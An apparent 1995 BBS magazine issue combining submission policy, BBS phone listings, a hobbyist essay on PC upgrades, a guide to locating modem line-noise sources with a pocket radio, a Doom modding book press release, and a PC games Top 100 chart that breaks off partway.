Would you like shareware reviews? - Would you like to see another monthly magazine just for science? Let us know what you think! Tom Wildoner T&J Software Editor @START@ ATW Policy Policy Statement for Across The Wire Monthly BBS Magazine: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POLICY DATE: March 7, 1995 ~~~~~~~~~~~~~~~~~~~~~~~~~~ General Policy: ~~~~~~~~~~~~~~~ 1. No charge will be collected for access to this magazine. The door/magazine may be run on a pay BBS, but no additional charge will be claimed for access to this information. 2. Individual articles may contain there own copyright information. 3. The copyright notice on Across The Wire magazine is on source code and the door reader only. The following rules shall apply to all articles/screens submitted: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. T&J Software retains the right to refuse any article submitted for publication in Across The Wire magazine. 2. T&J Software reserves the right to modify/change the text of any articles submitted (for spelling and clarity only) for the magazine. 3. T&J Software reserves the right to refuse any ANSI screen submitted for publication in the magazine. BBS ANSI screens will be displayed pending room in the database. We don't want a bloated database filled strictly with BBS ads . 4. BBS advertisements will only be included if the subject BBS is an active BBS carrying the magazine (regular uploading of the log file). 5. ANSI screens in "bad taste" will be rejected. How to Submit Articles: ~~~~~~~~~~~~~~~~~~~~~~~ 1. Articles should be uploaded to T&J Software BBS by the 21st of each month to be included in the next month's magazine. Articles can be uploaded to the following locations: T&J Software BBS 717-325-9481 3 Nodes - 28.8k Upload to ATW SUBMISSION file area. E-Mail to: tjsoft@postoffice.ptd.net Crash it to Fido 1:268/400 Submitting your BBS Name and Number for inclusion in the magazine: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. A BBS will only be added to the magazine BBS Listing if the sysop of the submitting BBS uploads the magazine log files on a monthly basis. 2. After three months of no magazine log files being sent to T&J Software, the BBS listing will be removed from the list. 3. No charges will be collected to include a BBS name in the listing or for advertising in an ANSI screen. Tom & Jane Wildoner T&J Software @START@ATW BBS List BBS's Proudly Carrying "Across The Wire" Magazine ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Arkansas ~~~~~~~~ The File Cabinet BBS Bob Harmon 501-247-1141 5/95 The R.F. ZONE BBS Matt Nelson 501-935-5574 5/95 California ~~~~~~~~~~ The Launch Pad BBS Rick Olsen 805-734-3878 5/95 Inland Sports BBS Jim Charters 909-789-2978 5/95 Illinois ~~~~~~~~ The Garage BBS Tom Guelker 618-344-8466 5/95 THE DARKROOM BBS Dave Davidson 618-345-3663 5/95 Maryland ~~~~~~~~ ShareWare Paradise Bryan Rittmeyer 410-239-7473 5/95 Massachusettes ~~~~~~~~~~~~~~ The Emerald City Tim Lyons 508-668-4441 5/95 Missouri ~~~~~~~~ Beyond Tomorrow Will Wright 816-263-0980 5/95 New Jersey ~~~~~~~~~~ ADAMSCOM Online....tm Mark Adams 908-572-7490 5/95 New York ~~~~~~~~ Computer On-Line Joe Schiavone 914-344-4856 5/95 North Carolina ~~~~~~~~~~~~~~ Gentle Breeze BBS Larry Beheler 704-657-6898 5/95 Ohio ~~~~ Fleet BBS Mike Morrell 216-646-0655 5/95 FIRST TRY Ken Mathews 614-685-3013 5/95 Pennsylvania ~~~~~~~~~~~~ The Docksider BBS Ken Regenfuse 610-678-0350 5/95 T&J Software BBS Tom & Jane Wildoner 717-325-9481 5/95 Woody's NutHouse Jim Woodward 717-748-5728 5/95 Tennesee ~~~~~~~~ The Tazewell BBS Jim Edmondson 615-626-0557 5/95 Utah ~~~~ Instant Access BBS Brian Fetterman 801-257-5554 5/95 Planet Reisa BBS White Lace 801-596-7350 5/95 Virginia ~~~~~~~~ Empire Systems ][ Chip Slate 703-251-1645 5/95 AD Public Message System James Goldbloom 703-998-2958 5/95 Washington ~~~~~~~~~~ Columbia Basin BBS Cal Baker 509-766-2867 5/95 Wisconsin ~~~~~~~~~ The BIRCH BARK BBS James Fish 414-242-5070 5/95 How to get your BBS listed: 1. Run the program UPLOAD.EXE which is included with the ATW door. This program will ask you for some information and will then ZIP up the information and log file. The file created will be called xxxxxxxx.ATW - simply upload this file to T&J Software! T&J Software BBS 717-325-9481 3 Nodes - 28.8k Upload to ATW SUBMISSION file area. E-Mail to: tjsoft@postoffice.ptd.net Crash it to Fido 1:268/400 2. Your BBS will remain on the list indefinitely as long as the log files are sent to T&J Software on a monthly basis. 3. After lapsing for three months, your BBS listing will be removed. @START@Chip's [800] BBS List ÚËÍÍÍË¿ÚË Ë¿ÚÍÑËÑÍ¿ÚËÍÍÍË¿Ú»ÚËÍÍÍË¿ ÚËÍ ÚËÍË¿ ÚËÍÍÍË¿ÚËÍÍÍË¿ ÍË¿ ³º ÃÎÍÍÍδ ³º³ ³ÌÍÍÍÊÙ ¼ÀÊÍÍÍË¿ ³º ÚÉÊÍÊ»¿³º é º³³º é º³ º³ ÀÊÍÍÍÊÙÀÊ ÊÙÀÍÏÊÏÍÙÀÊ ÀÊÍÍÍÊÙ ÀÊÍ ÀÊÍÍÍÊÙÀÊÍÍÍÊÙÀÊÍÍÍÊÙ ÍÊÙ ÚÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄ ÚÄÄ ÚÄÄÄÄ ÚÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄ ÚÄÄ ÚÄÄ ÚÄÄÄÄÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄ ÚÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄ ÚÄÄÄÄÄÄ ÚÄÄÄÄ ÚÄÄÄÄÄÄ ÚÄÄ Last Updated: April 18, 1995 ------------------------------------------------------------------------------ This BBS List was created in conjunction with the T&J BBS by Chip Slate. ANY questions, comments, corrections, updates, or suggetions, should be Directed to: +------------------------------------------------------+ |SysOp Chip Slate BBS: Empire Systems 2 (703)251-1645| +------------------------------------------------------+ NOTE: The numbers before the BBS name ARE NOT a rank of any kind, they are there for numbering purposes ONLY. ------------------------------------------------------------------------------ #1 *NEW* Texas A&M University Information Line NUMBER: 1-800-852-4335 BEST SERVICE: Information BBS SOFTWARE: UNIX??? --------------------- #2 *NEW* ANYWHERE Host Server NUMBER: 1-800-852-5293 BEST Service: ????? BBS SOFTWARE: ?????? -------------------- #3 *NEW* Advantis NUMBER: 1-800-852-3822 BEST Service: Information BBS SOFTWARE: ?????? -------------------- #4 ACF-The Association of Children and Families NUMBER: 1-800-627-8886 BEST SERVICE: E-MAIL,FILES BBS SOFTWARE: MajorBBS by Galacticomm ------------------------------------- #5 NBCI-The National Biological Control Institute BBS NUMBER: 1-800-344-6224 BEST SERVICE: TELECONFERENCE BBS SOFTWARE: MajorBBS by Galacticomm ------------------------------------- #6 AT&T Global Support-A support board for AT&T computers. NUMBER: 1-800-692-8872 BEST SERVICE: E-mail BBS SOFTWARE: MajorBBS by Galacticomm ------------------------------------- #7 DIAL-JAN-Disabilities BBS NUMBER: 1-800-342-5526 BEST SERVICE: CONFERENCES BBS SOFTWARE: PcBoard ------------------------------------- #8 BUDDY BBS-Dedicated to Seeing Eye Dogs NUMBER: 1-800-449-2252 BEST SERVICE: FILES BBS SOFTWARE: Wildcat! ------------------------------------- #9 ITE-The Institute of Transportation Engineers NUMBER: 1-800-982-4683 BEST SERVICE: MAIL BBS SOFTWARE: WILDCAT! ------------------------------------- #10 WTIE-The Waste Water Information Exchange NUMBER: 1-800-544-1936 BEST SERVICE: CONFERENCES BBS SOFTWARE: PcBoard ------------------------------------- #11 DWIE-The Drinking Water Information Exchange NUMBER: 1-800-932-7459 BEST SERVICE: CONFERENCES BBS SOFTWARE: PcBoard ------------------------------------- #12 ZDI Author's Upload Center-For shareware authors NUMBER: 1-800-426-3425 BEST SERVICE: MAIL BBS SOFTWARE: PcBoard ------------------------------------- #13 FTA-The Federal Transit Administration NUMBER: 1-800-231-2061 BEST SERVICE: FORUMS BBS SOFTWARE: UNKNOWN ------------------------------------- #14 GULFLINE-Environmental Discussions, support Board NUMBER: 1-800-235-4662 BEST SERVICE: FILES BBS SOFTWARE: PcBoard ------------------------------------- #15 FAA-FSDO-Federal Aviation Administration Flight Standards BBS NUMBER: 1-800-645-3736 BEST SERVICE: FILES BBS SOFTWARE: Unknown ------------------------------------- #16 SBA-The Small Business Administration BBS NUMBER: 1-800-697-4636 BEST SERVICE: FILES BBS SOFTWARE: TBBS. ------------------- #17 Geological Survey-BBS for information on earthquakes NUMBER: 1-800-358-2663 BEST SERVICE: EARTHQUAKE DATA BBS SOFTWARE: UNKNOWN NOTE: ONLY 1200 BAUD -------------------- #18 ORIE-Another BBS dedicated to education NUMBER: 1-800-222-4922 BEST SERVICE: FILES BBS SOFTWARE: MajorBBS by Galacticomm ------------------------------------- #19 Nuculear Commission-Nuculear Decomissioning NUMBER: 1-800-880-6091 BEST SERVICE: FILES BBS SOFTWARE: WILDCAT! ------------------------------------- #20 NEBBS-Supercomputer Simulation NUMBER: 1-800-447-6377 BEST SERVICE: CONFERENCES BBS SOFTWARE: UNKNOWN ------------------------------------- #21 NBIAP-Dealing with Life Sciences NUMBER: 1-800-624-2723 BEST SERVICE: FILES BBS SOFTWARE: UNKNOWN ------------------------------------- #22 Nebraska Online-Economic Information Exchange on Nebraska NUMBER: 1-800-392-7932 BEST SERVICE: INFORMATION BBS SOFTWARE: Unknown ------------------------------------- #23 CAM-AIDS support BBS. NUMBER: 1-800-542-5921 BEST SERVICE: FORUMS BBS SOFTWARE: MajorBBS by Galacticomm ------------------------------------- #24 SIMS-NET-The North Carolina Department of Public Instruction NUMBER: 1-800-852-1027 BEST SERVICES: CHAT, 300+ Minutes per day BBS SOFTWARE: Unknown ------------------------------------- @START@B. H. Gill B. H. Gill ====================================================================== Computers have a down side. They're expensive. And they grow. Start out with a simple computer. You get software that needs a new device. It doesn't make sense to have that expensive device for just one piece of software, so you get new software. At least one of the new programs needs a device you don't have. And the cycle starts again. I know. It's happened to me -- I started out using a PCjr with expanded memory (that's another story). It wasn't very satisfactory. About a year ago I had a chance to buy a 'discontinued' 486 IBM compatible with an 82 meg hard drive. No sound card, no CD-ROM drive, but it sure beats a PCjr. Even one on steroids. The 486 had DOS, Windows, and Works for Windows already installed. I picked up Sim City 2000 and Oregon Trail ("for the kids"). Then my family walked through the Mall of America. Impressive place. My oldest daughter had some money she'd earned. Now she had a program called Jurassic Art. I had a program called Lloyd that I figured the younger kids would like. We were on the other side of the Cities and heading for home when I read the fine print on Lloyd's box. The thing needed a sound card. So I bought a sound card. A Sound Blaster 16. Lloyd worked fine, and now we could hear music in the other two games. Sound Blaster came with some really interesting software, and I started exploring that. About this time I bought some (fairly) inexpensive speakers. It made sense: The software and sound card worked better with a better output device. Have you noticed how software eats up hard drive space? By late last year I was down to 3 or 4 meg available. And that was after removing Oregon Trail and Jurassic Art. So I bought a new hard drive. 428 meg. Oregon Trail and Jurassic Art are back on. So are some other nifty programs. There is still plenty of room on the new hard drive. Does this mean that the cycle is over? Yesterday I got a CD-ROM disk in the mail. Brian H. Gill, Sauk Centre, Minnesota. (Sorry: no e-mail address. I can't afford it.) COPYRIGHT 1995 Brian H. Gill, Sauk Centre, Minnesota @START@Testing for EMI TESTING FOR EMI PREFACE Although most modems employ either good hardware error control or software error control, occasionally the electromagnetic environment can be so bad that even the best modems will be effected. This little discourse is an attempt to help the layman, of which I'm one, find and correct those atrocious cases of noise which might over come even the best modem. My background and expertise for writing this comes from many years in the USAF working in a related field. INTRODUCTION: Probably, at one time or another, everyone who has ever used a modem has vehemently cursed "line noise" and then resigned themselves to the fact that there is nothing they can do to change it. WRONG! "Line Noise" is just another form of EMI and I hope to show, in this little report, where it comes from, how you can check for it, and even how to control it. Regardless of whether you call it EMI (Electro Magnetic Interference), RFI (Radio Frequency Interference), noise, or some other obscenity, it all boils down to one thing: Trouble for the communicator. Furthermore, what's really disconcerting is, to one degree or another, IT'S EVERYWHERE! SOME BACKGROUND INFO: I prefer the acronym EMI because virtually EVERY device that operates on electricity does create some electromagnetic fields. Specifically, anytime that an electric current is passed through a wire (or any other conductive medium), electromagnetic fields are generated. The strength of these fields varies with the voltage and current being passed - something like an electric blanket is so negligible that it can be ignored; older televisions with their high voltages and unshielded screens can be awful. The list of what's good and what's bad is far too lengthy for inclusion here; still, a little common sense and thought says that things like refrigerator compressors, vacuum cleaners, vcr's, tv's, sewing machines, pumps, etc make a lot of noise! However, sometimes, they make even more noise than they are supposed to. For instance, a compressor that is not working efficiently will be prone to generate even more EMI than it should. In the case of a refrigerator, this is doubly bad because, aside from the EMI that you have to contend with, you are probably getting diminished cooling efficiency and thus increased electrical usage = a bigger utility bill. Therefore, control of EMI pays off in more benefits than just a better modem connection. Of course, the most natural way to detect EMI is to lose connection when Granny's old washing machine kicks over to spin cycle and throws a barrage of broad spectrum noise all over the phone line... and that about 15 minutes into a 20 minute long distance download of that file you've wanted for the last six months. However, the BEST way to find out if you have some EMI problems is the look for them BEFORE they cause trouble. And, here's the good part - you do NOT have to be an expert or own a lot of fancy equipment to go EMI hunting. Now, before I go into more detail about how to go on your EMI hunt, I want to tell you a little more about it. Earlier I mentioned that the strength of EMI depends on voltage and current; EMI also has another characteristic - frequency. The Radio Frequency (RF) on which the EMI is broadcast will vary according to the wavelength of its propagator and some other factors; however, there is no need to go into all the deep technical details of EMI. The main thrust here is to identify that EMI might be present at one RF and not at another. Thus, your EMI hunt will have to be conducted on two planes - one spatial and one spectral. About the only good thing here is that modem communications seem to be most adversely affected by EMI in the lower RF bands. So, although it would be nice to have a very sensitive, multi-band, broad spectrum, tune-able receiver (which costs lotsa money), a simple battery powered, AM pocket radio will do the job. Just a couple observations about your little radio - remember, it is not very sensitive and the RF range is rather limited. So, any EMI that you find should be considered a potential hazard because there is likely to be a stronger signal somewhere else on another frequency. RUNNING THE TEST: Actually, I recommend four separate tests; one inside the house, one outside the house, one where you examine individual devices such as tv's, refrigerators, microwaves, etc., and one where you check along the route of the lines to your computer/modem. Individual Appliances So that you'll get a feel for the sort of signals to look for, we'll discuss testing individual devices first; and, the best example that nearly everyone has is a TV. 1. With the TV off, place your radio in front of the TV about two feet from the screen. 2. Turn your radio on and tune it to where there is only static; best results will probably be somewhere between 600 kilocycles and 1000 kilocycles. Adjust the volume to a comfortable level. 3. Turn on the TV and you should immediately hear a buzzing, motor-boating sound. You might try to tune the radio a little for optimum reception. If you have doubts about whether or not this specific signal is coming from the TV, turn it off and on a couple times and note whether or not the signal goes away each time you turn off the TV. If it does, you can bet you've found your first source of EMI. 4. By moving your radio around the TV you can determine roughly from where the strongest signals are coming. As you move from appliance to appliance you'll learn the different sounds associated with each. Also, for some of the devices, you'll have to run more than one test. The VCR, for example, should be tested three times - once with it just on, once with it in Play mode, and once with it in Record mode. Perhaps this needs to be stressed: Any device that has more than one mode of operation should be tested for each mode. For example, I have a clean air system that has two modes of operation and each mode has two settings - Hi and Lo. With the Ionizer off, it's not too bad; however, when I turn on the Ionizer, even in the low mode, it throws out as much EMI as an old, unshielded TV - different RF and different type signal, none-the-less, it makes a lot of EMI! One last thing on the subject of testing the individual devices; keep good notes and maybe even make a little sketch or diagram - you can use this data later when you start trying to eliminate or minimize the effects of the EMI that you've found. Inside the House After you have examined the individual devices, it's a good idea to just tour the house with the radio on checking from room to room; you may have over looked something, or you may find something that did not show up on any of the specific appliances. If you have more than one floor, be sure to check carefully directly above and below your computer/modem because something could be throwing a signal down or up and you might not have noticed it earlier. Outside the House Now, you're probably gonna look a little peculiar to the neighbors while walking around the outside of the house pointing a little cheap radio at everything; but, this is a good way to check for the really serious external sources. Do you have a Heat Pump? Check it! Is there anything like a sump pump? Check it! Make several checks at different times of day/night. If you find something that you suspect is related to the electrical or telephone lines, you might call that particular service provider and ask them to do an evaluation because nearly all power and phone companies have investigative teams just for this purpose. Along the Lines Finally, the last test is along the power and phone lines that connect your computer/modem. Get up real close to the lines and move the radio slowly and carefully from the place where the lines come into the house to where they actually connect to the computer/modem. By now you should have a good feel for how the EMI signals sound so make an effort to tune them in - vary the tuning and volume. Especially look at places where the cables/lines go close to offending devices or where they are coiled (coiled cables have a tendency to act as antennas). If you've taken good notes, by the time you've completed all the tests you should have an excellent understanding of the electromagnetic environment in and around your house... Now it's time to do something! MINIMIZING THE EMI: By now you may be thinking, "This is hopeless! I've got EMI EVERYWHERE!" Welll.... Yes, in this technological society that's normal; but, it's not hopeless. There are several different things you can do to reduce the harmful effects of EMI and a couple of them don't even cost a dime! Isolation For example, if it's possible you should try to isolate your computer/modem from the rest of the house. I'm fortunate enough to have a special room in a corner of the house that is away from the TV, the kitchen with all its appliances, the utility room with the washer and dryer, etc. Also, I use some devices to filter the power and phone lines. The act of isolating your computer/modem from sources of EMI is probably the most effective way to abrogate the effects of EMI; however, there are other methods that also work AND are especially useful when combined with isolation. Re-Orientation Re-orientation of the emitting device is often very effective. Remember when we checked the TV and found that the EMI signals were strongest from the front and back? If your computer/modem is near the TV, try to rearrange things so that the TV radiates in a direction away from the computer/modem. You probably noticed, when you were checking the individual appliances, that nearly all of them radiated their EMI signals in a directional pattern. So, although it may be a little like musical chairs, re-orientation of the offending devices can significantly reduce the amount of noise being aimed at your computer/modem and their power and phone lines. Shielding Depending on the construction of your home, sometimes you can shield your computer/modem with as simple a chore as closing the door. However, most often, to be truly effective, shielding requires an in depth knowledge of the EMI to be shut out; and, it can get a little pricy. Still, you can shield the lines without too much expense - some old newspapers, tin foil, and duct tape can be used to shield the lines... or, you could buy shielded cables. Warning! Any time you use a conductive material (tin foil) for shielding, after the job is done, you should run another test in that specific area because signals have the ability to "jump" from one source to another - your shielding could act as a reflective antenna and spread the EMI in a new direction. None-the-Less, shielding of the lines IS a good idea. Repair Remember earlier we talked about the refrigerator with the faulty compressor that was making a lot of noise? Fix it! This will pay double benefits: Lower EMI levels and better cooling efficiency. Replacement Another flash back - buy Granny a new washing machine; trade that old TV for a newer model with better shielding (also, the newer TV's operate on lower voltages = lower EMI signals. Now a days, most all electrical devices come with warnings about how much interference they cause - look for these warnings and read them carefully. Bottom Line on EMI? You know it's there so fore warned is fore armed... Good Luck! Jim Edmondson The Tazewell BBS (615) 626-0557 8,N,1 300 - 14.4k A Wildcat! System @START@The Doom Hacker's Guide: Press Release THE DOOM HACKER'S GUIDE: PRESS RELEASE FOR IMMEDIATE RELEASE: 4/11/95 Note that you can find pictures of the book and more information at http://www.portal.com/~hleukart on the World Wide Web, or E-mail Hank Leukart (me!) at ap641@cleveland.freenet.edu. THE DOOM HACKER'S GUIDE Since Doom was released in 1993, it has become the most popular computer game ever. What makes Doom so special? Simplicity, realism, and profound carnage, says PC Magazine. Entertainment Weekly has described Doom as the multimedia equivalent of Natural Born Killers: "A relentless rock and roll gorefest, a raw thrill-of-the-hunt experience that just happens to have some of the coolest 3-D graphics ever designed." The game is so pervasive that office computer networks have been stalled while employees stalk each other in real-time death matches. There are no draws--it's kill or be killed. But the real story behind this 3-D gaming masterpiece is that it can be customized, and that's where Hank Leukart, author of THE DOOM HACKER'S GUIDE (MIS:Press book/CD-ROM, March 1995, ISBN: 1-55828-428-1), comes in. This book/CD package is a boon to wannabe Doom masters by allowing players to make their very own versions of Doom and Doom II. Leukart's informative Doom FAQ (Frequently Asked Questions) has been packaged with Doom and Doom II, accessed online by tens of thousands, and cited by publications from PC Magazine to The New York Times. In the book, Leukart reveals how to project your own computer fantasies onto the screen. "Picture replacing the demons in the game with your friends, or turning a shotgun into a meat cleaver," Leukart tempts, with a smile. "Or you can construct Doom levels so that they have a strikingly similar layout to your school's campus or your place of work. Or maybe you'd like to substitute the Baron of Hell's ominous scream with your neighbors' sons' obnoxious shrieking. You can even change the soundtrack to play a little piece called 'Death in B Minor.' The possibilities are virtually limitless." In nine chapters, Leukart takes the reader through the intricacies and possibilities of Doom. First, he introduces the building blocks of Doom and how to create the rooms, doors, steps, and other architectural elements meant to heighten the thrill of the chase. Then he fine-tunes the basics by introducing DEU (Doom Editing Utilities by our own Raphael Quinet!), a DOS-based map editor. This is the utility that can turn Doom into your home, office, or campus in a few hours. Take a lesson from his section on using a map editor and creating action-packed levels, each designed to enhance the playing experience. Graphics, sound, and music are all under your control when you master the NewWADTool (NWT, authored by Dennis Moller), a slick piece of code that turns your average Troopers into your co-worker, your boss, even New Gingrich. Change the way Doom is played, alter the speed of a gun, modify the monsters' actions, or customize the text messages by using the editing tool DeHackEd, by Greg Lewis. Once these details are mastered, one of the most-read sections will be the level design section, which covers "Common Mistakes Made by Novices," "Making Good One-Player Levels," "Make Good Cooperative Mode Levels," and "Making Good DeathMatch Version 1.0 and 2.0 Levels." The appendices are a vital reference for Doom hackers, listing every resource name and filename as well as the dozens of utilties and sample files on the CD-ROM. Best of all, THE DOOM HACKER'S GUIDE comes packaged with The Doom Hacker's CD, which contains all the tools you need to create new Doom scenarios, as well as an abundance of add-on levels, graphics, and sounds. The CD also includes DEU, DoomCAD, NWT, and DeHackEd. Also packaged are Edmap and WadEd, two other Doom map editors. Two of the most popular add-ons are Xmas/Doom (thanks to our friends on #doom on IRC) and Clinton Doom (you'll have to see it for youself). And if you run into roadblocks, The "Official" DOOM FAQ, compiled by Hank Leukart (me again!), is also bundled with the CD, so your answers are just a few keystrokes away. With The DOOM HACKER'S GUIDE in hand you're more than ready for the next DeathMatch--but this time you'll be playing on your own turf, by your own rules. Let the games begin! You can grab this totally cool book at any of the following stores: * Barnes and Noble * WaldenBooks * Borders Books * Software Etc. * CompUSA * Many other local bookstores, and many more stores in the USA. Let me know what you think! -Hank Leukart (ap641@cleveland.freenet.edu) ----------- Hank Leukart ------------ | "Official" DOOM FAQ v6.666 Writer --- (ap641@cleveland.freenet.edu) --- | FAQ available by E-mail/FTP/WWW -------WEB PAGE NOW AVAILABLE:------- | "Official" DOOM FTP Site: --(http://www.portal.com/~hleukart)---| ftp.cdrom.com: /pub/idgames @START@The Net PC Games Top 100 List ============================================================================== | This week the votes from 785 people have been used to compile this chart. | | This Top 100 is checked out weekly by most game developers and publishers. | | Let them know what games you like and start voting for this list now! | | Send your votes to jojo@xs4all.nl and you'll get the next chart sent to | | you personally. You can ask for the document that tells how to vote. Just | | send a message with subject line 'send doc' and you'll know all about it. | | The format for every line with a vote is: points title [ ID ] | | You can allocate a maximum of 20 points, but not more than 5 for one game. | | An example can be found at the bottom of this list. | ============================================================================== ============================================================================== *** SPOTLIGHT *** ============================================================================== This weeks' Spotlite is for Kais Al-Essa, from Saudi Arabia: "I started as a normal user in my college and was getting this list through the GAMES-L mailing list. Then I started voting for my favorite games. I started a BBS, "Sahara BBS" on mid 1989 and I am still running it. At some point in time when the Top 100 was just in its first issues, I started copying these issues and posting them in my BBS for public as text files. We even had a dedicated files directory for this list as well as a couple of others. Our users enjoyed it so much, that if I delayed the posting even one day, I'd get howls and screams from everyone!! Now, we started an Internet access for the BBS users. This is the first of its kind in the whole of Saudi Arabia. So, we are getting some good attention and the number of interested users is certainly increasing. We now have a seperate Conference for the Top 100 list and lots of users are following the tracks of the Top 100 for buying their games. We here, at Sahara BBS, both users and operators, think that the Top 100 Games List is one of the best publications on the Internet. We think this is what the Internet is all about. Sharing information and having fun at the same time! Continue the good work .." Thank you, I will! ------------------------------------------------------------------------------ Do you have an interesting story to tell about the Top 100? Do you have a World Wide Web page pointing to this list? Do you publish the list on a BBS or in a magazine? Do you distribute it via leaflets, radio or tv, satellite or telephone? Did the Top 100 change your way life? Or are you just glad it exists? Tell me about it! And maybe you will be in next weeks' Spotlight! ============================================================================== The following games have not yet received enough points to enter the Top 100: ============================================================================== New Contestants (Runners Up) Edition 120 - Week 16 - April 17, 1995 ============================================================================== NW Title Developer/Publisher(s) Cat ID ------------------------------------------------------------------------------ Tip 1 3 NBA Live 95 Electronic Arts SP [1602] Tip 2 7 Renegade: Battle for Jacob's Star {C} SSI ST [1590] Tip 3 8 Wings of Glory {C} Origin/Electronic Arts SI [1586] Tip 4 2 Ravenloft 2 DreamForge/SSI RP [1606] Tip 5 5 Championship Manager '93 Domark SP [1592] Tip 6 4 Strat-O-Matic Baseball Strat-O-Matic SP [1598] Tip 7 2 Woodruff and the Schnibble... {C} Coktel V./Sierra AD [1603] Tip 8 5 Crystal Caliburn: Solid State Pinball {W} StarPlay AC [1595] Tip 9 1 Great Naval Battles 3: Fury in the Pacific SSI ST [1607] Tip 10 7 Bureau 13 Take 2/Gametek AD [1591] Tip 11 2 Lost in Eden {C} Cryo/Virgin AD [1604] Tip 12 4 Premier Manager 3 Gremlin SP [1597] Tip 13 3 Guilty {C} Divide by Zero/Psygnosis AD [1601] Tip 14 2 Jagged Alliance Sir-Tech ST [1605] The following list is a Top 100 of the most popular PC games in the world: ============================================================================== The Net PC Games Top 100 Edition 120 - Week 16 - April 17, 1995 ============================================================================== TW LW NW Title Developer/Publisher(s) Cat ID Points ------------------------------------------------------------------------------ 1 ( 1) 16 Descent {S} Parallax/Interplay AC [1565] 793 2 ( 2) 26 Galactic Civilizations (+Shipyards) {O} Stardock ST [1508] 454 3 ( 3) 8 Dark Forces {C} LucasArts/Virgin AC [1585] 415 4 ( 4) 21 Warcraft: Orcs and Humans Blizzard/Interplay ST [1528] 322 5 ( 5) 27 Master of Magic SimTex/MicroProse ST [1501] 300 6 ( 6) 27 Doom 2: Hell on Earth Id/GT/Virgin AC [1502] 281 7 ( 8)^ 52 U.F.O.: Enemy Unknown (+X-Com) Mythos/MicroProse ST [1437] 281 8 ( 7) 108 Nethack 3.1 {F} DevTeam RP [1186] 253 9 ( 10)^ 39 Tie Fighter (+add-on) LucasArts/Virgin AC [1473] 246 10 ( 9) 16 Heretic {S} Raven/Id AC [1566] 214 11 ( 12)^ 18 Wing Commander 3: Heart of the Tiger {C}Origin/EA AC [1562] 207 12 ( 11) 120 Civilization MicroProse ST [1002] 201 13 ( 13) 80 Master of Orion SimTex/MicroProse ST [1344] 204 14 ( 14) 20 Panzer General SSI ST [1522] 188 15 ( 16)^ 22 Transport Tycoon MicroProse ST [1521] 160 16 ( 15) 117 VGA Planets {S} Tim Wisseman ST [1131] 154 17 ( 17) 56 Myst {W} {C} Cyan/Broderbund/Electronic Arts AD [1426] 124 18 ( 19)^ 70 Doom (+hacked add-ons) {S} Id AC [1386] 121 19 ( 18) 66 SimCity 2000 Maxis/Mindscape ST [1399] 109 20 ( 22)^ 16 Little Big Adventure (+Relentless)Electronic Arts AD [1538] 121 21 ( 20) 29 System Shock LookingGlass/Origin/Electronic Arts RP [1438] 112 22 ( 21) 28 Colonization MicroProse ST [1496] 110 23 ( 23) 18 Magic Carpet {C} Bullfrog/Electronic Arts AC [1549] 115 24 ( 28)^ 2 X-COM 2: Terror from the Deep Mythos/MicroProse ST [1600] 126 25 ( 25) 26 One Must Fall: 2097 {S} Epic AC [1505] 91 26 ( 27)^ 44 The Settlers (+Serf City) Blue Byte/SSI ST [1458] 93 27 ( 24) 111 X-Wing (+Imperial Purs.,B-Wing) LucasArts/US Gold AC [1169] 78 28 ( 26) 16 Rise of the Triad (+retail version) {S} Apogee AC [1564] 71 29 ( 30)^ 19 Roids {S} {O} Leonard Guy AC [1531] 81 30 ( 29) 119 Dune 2: Building of a Dynasty Westwood/Virgin ST [1110] 72 31 ( 31) 8 Mortal Kombat 2 {C} Midway/Acclaim AC [1582] 73 32 ( 32) 21 Nascar Racing Papyrus/Virgin SP [1529] 75 33 ( 37)^119 Star Control 2: Ur-Quan Masters Accolade AC [1116] 77 34 ( 35)^ 88 Warlords 2 SSG ST [1284] 60 35 ( 34) 62 Pinball Fantasies Digital Illusions/21st Century AC [1416] 56 36 ( 36) 22 Under a Killing Moon {C} Access/US Gold AD [1517] 54 37 ( 33) 25 Wacky Wheels {S} Beavis/Apogee AC [1509] 42 38 ( 39)^ 17 U.S. Navy Fighters {C} Electronic Arts SI [1543] 54 39 ( 38) 19 Boppin' {S} Accursed Toys/Apogee PU [1526] 37 40 ( 42)^ 28 NHL Hockey '95 Electronic Arts SP [1493] 45 41 ( 43)^118 World Circuit (+F1 Grand Prix) MicroProse SP [1123] 46 42 ( 44)^ 55 Ultima 8: Pagan Origin/Electronic Arts RP [1401] 48 43 ( 40) 76 Epic Pinball (+Silverball retail v.) {S} Epic AC [1359] 36 44 ( 46)^ 2 Discworld: The Problem with Dragons Psygnosis AD [1596] 50 45 ( 45) 81 Privateer (+Righteous Fire) Origin/Electr. Arts AC [1337] 46 46 ( 41) 37 Jazz Jackrabbit {S} Epic AC [1479] 29 47 ( 47) 31 Lode Runner: The Legend Returns Sierra AC [1487] 39 48 ( 51)^101 7th Guest {C} Trilobyte/Virgin PU [1230] 44 49 ( 48) 117 Ultima Underworld 2 LookingGlass/Origin/El. Arts RP [1127] 36 50 ( 49) 93 Betrayal at Krondor Dynamix/Sierra RP [1275] 37 51 ( 52)^ 53 Battle Isle 2 (+add-on) Blue Byte/Accolade ST [1439] 40 52 ( 55)^ 10 The Lion King Disney/Virgin AC [1580] 38 53 ( 54)^ 67 Gabriel Knight: Sins of the Father Sierra AD [1377] 36 54 ( 59)^ 15 Ecstatica {C} Psygnosis AD [1530] 45 55 ( 50) 93 Syndicate (+add-on) Bullfrog/Electronic Arts AC [1271] 23 56 ( 65)^ 3 Bioforge Origin/Electronic Arts AD [1599] 50 57 ( 58)^109 Minesweeper {W} Microsoft ST [1184] 36 58 ( 57) 